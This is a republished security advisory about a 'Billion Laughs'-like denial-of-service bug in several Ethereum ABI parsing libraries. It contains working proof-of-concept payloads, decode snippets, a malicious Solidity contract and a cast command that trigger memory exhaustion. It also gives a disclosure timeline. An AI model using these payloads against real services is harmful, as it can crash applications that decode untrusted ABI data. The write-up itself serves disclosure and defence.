By using this site, you agree to the Privacy Policy and Terms of Use.
Accept
KriptotekaKriptoteka
  • Home
  • News
    • Web3
    • Crypto News
    • Market Analysis
  • Market
    • AI
    • Altcoins
    • Bitcoin
    • Blockchain
    • CEX
    • Defi
    • DePIN
    • DEX
    • ETFs
    • Ethereum
    • Gaming
    • ICO/IDO
    • Institutions
    • L1&L2
    • Meme
    • NFT tech
    • RWA
    • Stable coins
  • Data
  • Events
  • Learn
  • Reports
  • Podcasts
  • Pro membership
Reading: “Billion Laughs-Like Vulnerability in Ethereum ABI Parsers”
Share
Notification Show More
Font ResizerAa
Font ResizerAa
KriptotekaKriptoteka
  • Home
  • News
  • Market
  • Data
  • Events
  • Learn
  • Reports
  • Podcasts
  • Pro membership
  • Home
  • News
    • Web3
    • Crypto News
    • Market Analysis
  • Market
    • AI
    • Altcoins
    • Bitcoin
    • Blockchain
    • CEX
    • Defi
    • DePIN
    • DEX
    • ETFs
    • Ethereum
    • Gaming
    • ICO/IDO
    • Institutions
    • L1&L2
    • Meme
    • NFT tech
    • RWA
    • Stable coins
  • Data
  • Events
  • Learn
  • Reports
  • Podcasts
  • Pro membership
Have an existing account? Sign In
Follow US
  • Advertise
© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Kriptoteka > Market > Blockchain > “Billion Laughs-Like Vulnerability in Ethereum ABI Parsers”
Blockchain

“Billion Laughs-Like Vulnerability in Ethereum ABI Parsers”

marcel.mihalic@gmail.com
Last updated: September 16, 2024 2:25 am
By marcel.mihalic@gmail.com 13 Min Read
Share
SHARE

By Max Ammann

At the core of Ethereum’s impressive blockchain technology lies an often-overlooked issue that developers must confront: the complexities of crafting resilient Ethereum ABI (Application Binary Interface) parsers. The ABI of Ethereum plays a crucial role in the blockchain’s framework, permitting smooth communication between smart contracts and external services. The variety of data types involved and the necessity for accurate encoding and decoding render ABI parsing a difficult endeavor. Misinterpretations or inconsistencies in the specification or its implementations can result in bugs that jeopardize user safety.

In this article, we will explore a recently identified vulnerability aimed at these parsers, evoking memories of the infamous “Billion Laughs” attack that sought to exploit XML systems in the past. We reveal that parts of the Ethereum ABI specification are loosely defined, which could lead to insecure implementations vulnerable to causing denial-of-service (DoS) scenarios in eth_abi (Python), ethabi (Rust), alloy-rs, and ethereumjs-abi, thereby threatening the operational stability of blockchain networks. As of this writing, the bug has been rectified only in the Python library; the other libraries opted for full disclosure through GitHub issues.

What is the Ethereum ABI?

When contracts on the blockchain interact or off-chain entities communicate with those contracts, Ethereum employs ABI encoding to format requests and responses. The encoding doesn’t self-describe. Instead, encoders and decoders must establish a schema that delineates the data types being represented. Unlike the platform-specific ABI in the C programming language, Ethereum details the manner in which data is transmitted in binary form across applications. Although not formally established, the specification provides an insightful understanding of data exchange processes.

Currently, this specification can be found within the Solidity documentation. The ABI definition sets the standard for the types utilized in smart contract languages like Solidity and Vyper.

Understanding the bug

Zero-sized types (ZST) are data types that occupy minimal or no bytes on storage but demand significantly more when loaded into memory. The Ethereum ABI permits zero-sized types (ZST), which can trigger a denial of service (DoS) attack by compelling the application to consume an inordinate amount of memory for a trivial on-disk or over-the-network representation.

For instance, what occurs when a parser encounters an array filled with ZSTs? It should aim to parse as many ZSTs as the array indicates it has. Given that each element in the array consumes no bytes, producing an excessively large array of ZSTs becomes remarkably simple.

To illustrate, the following figure depicts a payload of 20 bytes on disk, which will deserialize into an array containing the numbers 2, 1, and 3. In contrast, a separate payload comprising 8 bytes on disk will deserialize into 232 elements of a ZST (like an empty tuple or empty array).

This scenario would not be an issue if each ZST indeed required zero bytes of memory post-parsing. However, in practice, each element often entails a small yet non-zero memory footprint, resulting in a massive memory allocation to represent the entire array accurately. Such a situation can readily lead to a denial of service attack.

To mitigate major complications like crashes, misinterpretations, hangs, or excessive resource allocation, strong parser design is essential. The source of such issues can stem from the specifications themselves or from their implementations.

Concerning the Ethereum ABI, I assert that the specification is fundamentally flawed. It had the opportunity to explicitly ban Zero-Size Types (ZST), yet it neglected to do so. This deficiency stands in stark contrast to the most recent versions of Solidity and Vyper, which prevent the definition of ZSTs such as empty tuples or arrays.

To ensure utmost safety, it is imperative to carefully craft file format specifications and rigorously fortify their implementations to avert unanticipated behaviors.

Proof of concept

Let’s delve into examples that illustrate this bug across several libraries. We define the data payload as follows:

0000000000000000000000000000000000000000000000000000000000000020
00000000000000000000000000000000000000000000000000000000FFFFFFFF

This payload comprises two 32-byte sections outlining a serialized array of ZSTs. The first section denotes an offset to the elements of the array, while the second delineates the array’s length. Regardless of the programming language, we will always refer to it as the payload.

Our goal is to decode this payload with the ABI schemata ()[] and uint32[0][] using a variety of Ethereum ABI parsing libraries. The former notation represents a dynamic array of empty tuples, while the latter indicates a dynamic array of empty static arrays. Understanding the difference between dynamic and static is crucial, as an empty static array consumes zero bytes, whereas a dynamic one utilizes a few bytes since it serializes the array’s length.

eth_abi (Python)

The Python program below utilizes the official eth_abi library (<4.2.0); when executed, the program will initially hang and subsequently terminate due to an out-of-memory error.

from eth_abi import decode
data = bytearray.fromhex(payload)
decode(['()[]'], data)

The eth_abi library solely supported the empty tuple representation, leaving empty static arrays undefined.

ethabi (Rust)

The ethabi library (v18.0.0) permits the bug to be exploited directly through its CLI.

cargo run -- decode params -t "uint32[0][]" $payload

ethers-rs (Rust)

The Rust program below utilizes the ethers-rs library, employing the schema uint32[0][] implicitly via the Rust type Vec<[u32; 0]>, which corresponds to it.

use ethers::abi::AbiEncode;
let data = hex::decode(payload);
let _ = Vec::<[u32; 0]>::decode(&hex_output.unwrap()).unwrap();

It falls prey to the DoS problem because the ethers-rs library (v2.0.10) utilizes ethabi.

foundry (Rust)

The foundry toolkit leverages ethers-rs, indicating that the DoS vulnerability should also be present there. Indeed, it is!

One way to trigger the bug is by decoding the payload directly via the CLI, similar to the approach taken in ethabi.

cast --abi-decode "abc()(uint256[0][])" $payload

A more intriguing proof of concept involves deploying the following malicious smart contract, which utilizes assembly to return data corresponding to the payload.

contract ABC {
    fallback() external {
        bytes memory data = abi.encode(0x20, 0xfffffffff);

        assembly {
            return(add(data, 0x20), mload(data))
        }
    }
}

If the return type for the contract is defined, it can lead to a hang and excessive memory usage in the CLI tool. The subsequent command invokes the contract on a testnet.

cast call --private-key \
0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 \
-r http://127.0.0.1:8545 0x5fbdb2315678afecb367f032d93f642f64180aa3 \
"abc() returns (uint256[0][])”

alloy-rs

The ABI parser in alloy-rs (0.4.2) experiences the same hang as the other libraries when attempting to decode the payload.

use alloy_dyn_abi::{DynSolType, DynSolValue};
let my_type: DynSolType = "()[]".parse().unwrap();
let decoded = my_type.abi_decode(&hex::decode($payload).unwrap()).unwrap();

ethereumjs-abi

Finally, the ABI parser ethereumjs-abi (0.6.8) is also susceptible.

var abi = require('ethereumjs-abi')
data = Buffer.from($payload", "hex")
abi.rawDecode([ "uint32[]" ], data)
// or this call: abi.rawDecode([ "uint32[0][]" ], data)

Other libraries

The libraries go-ethereum and ethers.js are not affected by this bug because they implicitly disallow ZST. These libraries anticipate that every element of an array will be a minimum of 32 bytes long. Similarly, the web3.js library remains unaffected due to its reliance on ethers-js.

How the bug was discovered

The initiative to test for this type of bug arose after I encountered an issue in the borsh-rs library. This Rust library attempted to parse an array of ZST in constant time, resulting in undefined behavior as a mitigation against the DoS vector. The authors of the library ultimately opted to entirely disallow ZST. During a separate audit, a custom ABI parser exhibited a similar DoS vector when handling ZSTs. Recognizing that these occurrences were unlikely to be coincidental, we expanded our investigation to other ABI parsing libraries for this specific class of bugs.

How to exploit it

The exploitability of this bug relies on the context in which the affected library is applied. In the examples provided, we focused on CLI tools.

Currently, I did not identify a method to design a smart contract that triggers this bug on the mainnet due to the latest Solidity and Vyper versions prohibiting ZST.

Nonetheless, any application utilizing one of the aforementioned libraries could potentially be at risk. A prime example of a potentially vulnerable application is Etherscan, which processes untrusted ABI declarations. Additionally, any off-chain applications that retrieve and decode data from contracts might also be susceptible to this vulnerability if they permit user-defined ABI types.

Fuzz your decoders!

Decoder bugs are often easily identified through fuzz testing of the decoding routines, as inputs are often byte arrays that can directly serve as input for fuzzers. However, there are exceptions, such as the recent libwebp 0-day vulnerability (CVE-2023-4863), which went unnoticed despite extensive fuzzing efforts in OSS-fuzz.

In our audits at Trail of Bits, we utilize fuzzing as a tool to uncover bugs and guide clients on implementing their own fuzz strategies. Our goal is to contribute our fuzzers to Google’s OSS-fuzz for continuous testing, thus reinforcing manual reviews by focusing on critical audit facets. We are currently revising our Testing Handbook, a comprehensive resource for both developers and security professionals, to integrate specific advice for optimizing fuzzer configurations and automating analysis tools within the software development lifecycle.

Coordinated disclosure

In line with our disclosure protocols, we notified the library maintainers about the vulnerabilities.

  • eth_abi (Python): The Ethereum-managed library addressed the bug during a private GitHub advisory. The fix was implemented in version v4.2.0.
  • ethabi (Rust) and alloy-rs: The maintainers of these crates requested that we create GitHub issues following the end of the embargo. We subsequently established the relevant issues here and here.
  • ethereumjs-abi: We did not receive a response from the project, prompting us to file a GitHub issue.
  • ethers-rs and foundry: We notified these projects about their implementation of ethabi (Rust). We anticipate they will update to the patched versions of ethabi when available or transition to another ABI decoding solution. The broader community will be informed by issuing a RustSec advisory for ethabi and alloy-rs, along with a GitHub advisory for eth_abi (Python).

The timeline of our disclosure process is outlined below:

  • June 30, 2023: Initial contact with maintainers of ethabi (Rust), eth_abi (Python), alloy-rs, and ethereumjs-abi crates.
  • June 30, 2023: Alloy-rs maintainers indicated that a GitHub issue should be raised.
  • June 30, 2023: The first response from the eth_abi (Python) project commenced internal triaging.
  • July 26, 2023: Clarification regarding ethabi’s maintenance status was sought through a GitHub issue. This led to a notification in the README. As a result, we planned to file a GitHub issue after the embargo period.
  • August 2, 2023: A private security advisory was created for eth_abi (Python) on GitHub.
  • August 31, 2023: The fix was released by eth_abi (Python) without public acknowledgment of the DoS issue. We later confirmed the fix.
  • December 29, 2023: This blog post and corresponding GitHub issues were published in the ethabi, alloy-rs, and ethereumjs-abi repositories.

Like this:

Like Loading…

Related

You Might Also Like

Coinbase CEO Proposes Crypto Wallet for AI Behind GOAT Meme Coin

Honduras & Colombia Local Grants Overview and Highlights

Rhinestone ERC-7579 Adapter Audit Summary and Findings Report

Victims file $235M class-action suit against WazirX for hack

Tether and Lugano Reveal Satoshi Nakamoto Statue at Forum

Share This Article
Facebook Twitter Email Print
Previous Article Ethereum Recovers Slowly as Investors Opt for Mpeppe for Gains
Next Article Cryptocurrency Growth in the Sports Betting Industry
Leave a comment

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Stay Connected

FacebookLike
TwitterFollow
YoutubeSubscribe
TelegramFollow
- Advertisement -
Ad image

Latest News

4 Cryptos to Challenge Solana: Potential Growth for Investors
Defi
Bitcoin ETF Inflows Exceed $3B, Demand Reaches 6-Month Peak
ETFs
Japan’s Push for Bitcoin and Ethereum ETFs Gains Momentum
Institutions
Ripple Appeals Court Ruling on XRP’s Institutional Sales
Meme
//

We influence millions of users and is the number one Crypto and Web3 news network on the planet

Sign Up for Our Newsletter

Subscribe to our newsletter to get our newest articles instantly!

© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
nl Dutchen Englishfr Frenchde Germanel Greekit Italianpt Portugueseru Russianes Spanish
en en
Join Us!

Subscribe to our newsletter and never miss our latest news, podcasts etc..

Zero spam, Unsubscribe at any time.
Welcome Back!

Sign in to your account

Lost your password?